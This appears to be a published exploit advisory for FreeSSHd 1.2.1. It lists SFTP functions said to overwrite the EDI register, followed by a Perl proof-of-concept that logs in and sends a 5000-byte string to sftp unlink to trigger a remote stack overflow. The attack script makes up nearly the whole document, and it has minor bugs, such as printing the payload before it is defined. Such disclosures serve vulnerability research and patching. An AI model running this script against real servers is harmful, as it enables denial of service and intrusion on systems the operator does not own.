FreeSSHd 1.2.1 Multiple Overflows

`# FreeSSHd Multiple Remote Stack Overflow Vulnerabilities.   
#  
# Version : 1.2.1  
# Advisory: http://www.bmgsec.com.au/advisory/42/  
#  
# Discovered & written by:   
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)  
#  
# After Jeremy Brown reported similar buffer overflow vulnerabilities in  
# FreeSSHd I forgot about it, and stopped my research on the vulnerabilities.  
# Anyway just now I noticed that other vulnerable functions had not been  
# reported. So below is a small list, and a small proof of concept.   
#   
# Note: All below functions overwrite EDI register.   
# open (edi)  
# unlink (edi)  
# mkdir (edi)  
# rmdir (edi)  
# stat (edi)  
  
use Net::SSH2;  
  
my $user = "root";  
my $pass = "yahh";  
  
my $ip = "127.0.0.1";  
my $port = 22;  
  
my $ssh2 = Net::SSH2->new();  
  
print "[+] Connecting...\n";  
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";  
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";  
print "[+] Sending payload\n";  
  
print $payload;  
my $payload = "A" x 5000;  
  
my $sftp = $ssh2->sftp();  
$sftp->unlink($payload);  
  
print "[+] Sent";  
$ssh2->disconnect;  
`